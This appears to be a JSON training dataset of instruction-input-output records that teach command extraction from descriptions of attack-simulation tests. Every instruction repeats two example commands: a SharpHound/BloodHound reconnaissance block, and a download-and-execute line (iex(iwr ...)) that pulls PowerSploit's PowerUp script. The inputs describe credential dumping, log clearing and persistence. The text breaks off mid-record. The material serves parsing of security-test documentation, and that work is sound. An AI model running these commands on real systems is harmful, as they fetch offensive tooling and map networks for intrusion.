{\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated\nvia three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7\n\nUpon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor\ncan abuse by creating this registry key and providing a malicious application to be executed during successful boot\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A list of commands known to be performed by Qakbot for recon purposes", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe\n\nUpon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Show if a user account has ever logged in remotely\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important 